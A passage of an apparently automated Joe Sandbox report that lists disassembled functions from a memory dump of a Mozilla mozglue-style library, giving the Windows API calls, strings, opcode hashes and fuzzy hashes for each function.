\oleacc.dll, xrefs: 6C62F4CB

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: f6e002535f6a3fc9afaccbd27af25949db023e64768495d46e4e84ccb4bbc8c6
Instruction ID: 3f671e3c15f852fe5c5e2ef2f790824d446f2410b0158fdd9b89219824928fac
Opcode Fuzzy Hash: f6e002535f6a3fc9afaccbd27af25949db023e64768495d46e4e84ccb4bbc8c6
Instruction Fuzzy Hash: A541EF706087209FE324CF29C884A9BB3F4AF94318F104A1CF59097650EB34D949CFAB

Function 6C63E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63E04F

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C63E057

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: eaf6e35506c2cf3bd23615f75a8abbd6360241059000d6fbb4d8c5912a77fca5
Instruction ID: 8f1f32cd4d137a62268e02552eae19d51e47ba2bc89f8cbbff507399b0a4fd1f
Opcode Fuzzy Hash: eaf6e35506c2cf3bd23615f75a8abbd6360241059000d6fbb4d8c5912a77fca5
Instruction Fuzzy Hash: AF21D074A001289FCF049F65C898AEEB7B5EF86308F142424E80A97741DB35AD19CBF9

Function 6C6574A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C657526
__Init_thread_footer.LIBCMT ref: 6C657566
__Init_thread_footer.LIBCMT ref: 6C657597

Strings

kernel32.dll, xrefs: 6C657557
UnmapViewOfFile2, xrefs: 6C657552

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5b827b15924873701e9da7131207c9b8bdb0add795873dad8a58528fe10f558f
Instruction ID: 4d1b680db17091b48783b11310dddb568bcafda0bd801f1052edc5e5307b3062
Opcode Fuzzy Hash: 5b827b15924873701e9da7131207c9b8bdb0add795873dad8a58528fe10f558f
Instruction Fuzzy Hash: EC214831701011ABCB19CFAA9C84E993375EF47325F608D29D80587B80CB39A8118A7F

Function 6C65A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67F770,-00000001,?,6C66E330,?,6C61BDF7), ref: 6C65A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C61BDF7), ref: 6C65A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C61BDF7), ref: 6C65A7E4
LeaveCriticalSection.KERNEL32(6C67F770), ref: 6C65A80A

Strings

accelerator.dll, xrefs: 6C65A7BF

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 99f66c7bf80d8e248bfbda11898a899c6c6d855a20489bb40cf9574de472316e
Instruction ID: 4e62920956795faef333ad87721eb7e733e1ccf3fd4a31f5a927f9c95abcf4cb
Opcode Fuzzy Hash: 99f66c7bf80d8e248bfbda11898a899c6c6d855a20489bb40cf9574de472316e
Instruction Fuzzy Hash: 5E018FB06003149F9B08CF5AE8C4C6177B8FB8A355B14846AE9098B712EB709800CBBA

Function 6C6575B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C65748B,?), ref: 6C6575B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6575D7
FreeLibrary.KERNEL32(?,6C65748B,?), ref: 6C6575EC

Strings

RtlNtStatusToDosError, xrefs: 6C6575D1
ntdll.dll, xrefs: 6C6575B3

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: afb49935a152ce0b91e1b342dc98fb048b1c550c8c27ba125e8c30752df26bb7
Instruction ID: 52a4cf0a61a8862f87d1e4bfd297eb2fbdc79fdcd0ac2c035db048cb1bd1ef1e
Opcode Fuzzy Hash: afb49935a152ce0b91e1b342dc98fb048b1c550c8c27ba125e8c30752df26bb7
Instruction Fuzzy Hash: 0EE09AB1610361ABDB0A5BB3D8C8B017AF8EB46358F104C25EA05D1710EBB980528F3E

Function 6C657600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C657592), ref: 6C657608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C657627
FreeLibrary.KERNEL32(?,6C657592), ref: 6C65763C

Strings

NtUnmapViewOfSection, xrefs: 6C657621
ntdll.dll, xrefs: 6C657603

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 19e4af2d281eb03318206f03a2d3d58c7a5f85f84dc006ba5d586cbebf87d54d
Instruction ID: 54994f6219f3f109e2804b62af654253ba37c0bea33dbf9c473f645e868f804d
Opcode Fuzzy Hash: 19e4af2d281eb03318206f03a2d3d58c7a5f85f84dc006ba5d586cbebf87d54d
Instruction Fuzzy Hash: A7E0BF706103619BDF0A9FB7E8D8B017AB8E756399F108D15EA05D1750E7B980118F3E

Function 6C65BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C65BE49), ref: 6C65BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C65BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C65BE49), ref: 6C65BF38
RtlReAllocateHeap.NTDLL ref: 6C65BF83
RtlFreeHeap.NTDLL(6C65BE49,00000000), ref: 6C65BFA6

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 7f51a79f046bc67c1f35c4d61926fdb76ef1c5d08172d2638e0f524cf45c5371
Instruction ID: 864fd658def06bfa48683294c01246ce35775ca62cd9e4de29ba940766e869d6
Opcode Fuzzy Hash: 7f51a79f046bc67c1f35c4d61926fdb76ef1c5d08172d2638e0f524cf45c5371
Instruction Fuzzy Hash: D451AF71A002058FE710CF69CD80BAAB3A2FFC9314F794639D556A7B54D731F9168B84

Function 6C648E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?,6C66D734), ref: 6C648E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?,6C66D734), ref: 6C648EBF
free.MOZGLUE(?,?,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?), ref: 6C648F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?,6C66D734), ref: 6C648F46
free.MOZGLUE(?,?,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?), ref: 6C648F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C63B58D,?,?,?,?,?,?,?,6C66D734,?,?,?), ref: 6C648F8F

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cd2a7c9195d60e8454abd9284dc6243d04b3d05d28a553c3c4327df69d0227ce
Instruction ID: 8398c7d5aad043379e768f971baa558f27931b703da72f139c27faace5d624aa
Opcode Fuzzy Hash: cd2a7c9195d60e8454abd9284dc6243d04b3d05d28a553c3c4327df69d0227ce
Instruction Fuzzy Hash: 4A51C2B1A012168FEB14CF58D8807AEB7B2BF49348F15842AD916EB750E731F905CBD9

Function 6C6427E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C642620,?,?,?,6C6360AA), ref: 6C64284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C642620,?,?,?,6C6360AA), ref: 6C64289A
free.MOZGLUE(?,?,?,6C642620,?,?,?,6C6360AA), ref: 6C6428F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C642620,?,?,?,6C6360AA), ref: 6C642910
free.MOZGLUE(00000001,?,?,6C642620,?,?,?,6C6360AA), ref: 6C64293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C642620,?,?,?,6C6360AA), ref: 6C64294E

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 48571db221d4d2966e3a5b5f1a5fcdc90fea2fa373d80052755d21dbd37bcf38
Instruction ID: 65d517fcb88b2b3994f994d32a94feb82ec5be8a557cef981796d215107d6a9b
Opcode Fuzzy Hash: 48571db221d4d2966e3a5b5f1a5fcdc90fea2fa373d80052755d21dbd37bcf38
Instruction Fuzzy Hash: B341E0B1A002068FEB14CF69D88876E77F6EF45308F248939D556EB740E731E904CBA9

Function 6C5FCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5FCFF6
LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5FD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C5FD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C5FD139

Strings

MOZ_CRASH(), xrefs: 6C5FD187

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 96f7b679b3f4274684a668253d7f5f9a056da420a2e17bd75f6d3a95bac9469b
Instruction ID: 674dbd5756f90c8b7ebd00cb7bc3c2f510b89eef4adb7bb024d92df786ab39bb
Opcode Fuzzy Hash: 96f7b679b3f4274684a668253d7f5f9a056da420a2e17bd75f6d3a95bac9469b
Instruction Fuzzy Hash: 9F41D232B402264FDB0DCE7D8CD17AA36B4EB49714F140939E928E7784E7A59C058FE9

Function 6C5F4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5F4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5F4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5F4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5F4F1E

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: a3e70df1d0fa093091c099c5e06d6108fc11f96cfd842de2afce6ec7f9a8a219
Instruction ID: d53239b49feea3940187118ef2f733c897e63e2b4454cf857c192e3a1fa0ca58
Opcode Fuzzy Hash: a3e70df1d0fa093091c099c5e06d6108fc11f96cfd842de2afce6ec7f9a8a219
Instruction Fuzzy Hash: 7D41CF716087019FD709CF29C88095BB7E5BF89344F108A2DF56A97B41DB30E95ACF92

Function 6C65A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67F770), ref: 6C65A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65A87B

Part of subcall function 6C65A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C65A88F,00000000), ref: 6C65A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C65A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65A90C
LeaveCriticalSection.KERNEL32(6C67F770), ref: 6C65A97E

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: e7906ead1db8f65b91c781a85af4e9cee27592f0529f6d53cb85ca9db86233b4
Instruction ID: 504a2319bf629cecb4799c34edcd914dc174864e8c34c285b087bfe5ad49ea22
Opcode Fuzzy Hash: e7906ead1db8f65b91c781a85af4e9cee27592f0529f6d53cb85ca9db86233b4
Instruction Fuzzy Hash: 1D41B3F0D002449FDB00DFA4D885BEEB770FF05324F148A19E81AAB791D7319955CBA9

Function 6C601530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C60159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C6015BC
moz_xmalloc.MOZGLUE(-00000001,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C6015E7
free.MOZGLUE(?,?,?,?,?,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C601606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C60152B,?,?,?,?,6C601248,?), ref: 6C601637

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: b1928ed530e0ec461e5d56e1d2a12959dcfeb3bfa2ef3c2f5425bd1476174b14
Instruction ID: e41c98989579266f839aaf51f0925141ade9a8a741389991f67c89f089744089
Opcode Fuzzy Hash: b1928ed530e0ec461e5d56e1d2a12959dcfeb3bfa2ef3c2f5425bd1476174b14
Instruction Fuzzy Hash: 3D31EAB1B001149BC71D8E7CDD504AF77A5BB823687280B2DE823EBBD4EB30D9058799

Function 6C65AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AD9D

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AE01
GetLastError.KERNEL32(?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C66E330,?,6C61C059), ref: 6C65AE3D

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b3ec6ad51531d2bd9b6096f0079500c08d3c74abb1d676b3b253a86d5df59c1d
Instruction ID: 88f27191fa96e4c0be3baa1440c729f154c77c3a385149080194aea3b723f517
Opcode Fuzzy Hash: b3ec6ad51531d2bd9b6096f0079500c08d3c74abb1d676b3b253a86d5df59c1d
Instruction Fuzzy Hash: 0D3141B1A002159FDB14DF7A8C44ABBB7F8EF49614F554829E84AD7700E734A805CBB9

Function 6C655EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C66DCA0,?,?,?,6C62E8B5,00000000), ref: 6C655F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C62E8B5,00000000), ref: 6C655F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C62E8B5,00000000), ref: 6C655F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C62E8B5,00000000), ref: 6C655F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C62E8B5,00000000), ref: 6C655FD6

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: e49e406c138811bc81d2d15a308007c89f5dbac2cd3ff2797dd588242b3c0de9
Instruction ID: 8f08228cd8296dfc0b0507a522ed99bdf003d17c61ddb6bc7aa9258af534964e
Opcode Fuzzy Hash: e49e406c138811bc81d2d15a308007c89f5dbac2cd3ff2797dd588242b3c0de9
Instruction Fuzzy Hash: B03118343006008FD715CF29C898A2AB7F5BF89318FA48958F5568BB95C732EC51CF94

Function 6C5FB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5FB532
moz_xmalloc.MOZGLUE(?), ref: 6C5FB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5FB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5FB57E
free.MOZGLUE(00000000), ref: 6C5FB58F

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ddd97dd248dfdf1a0fd1f986fee33f52acd5d8f9f65716aada658a2a1333bda3
Instruction ID: 5f89e18b36994707c5caae9bca997063d11b1965ce0dbd89f168881fb983afcb
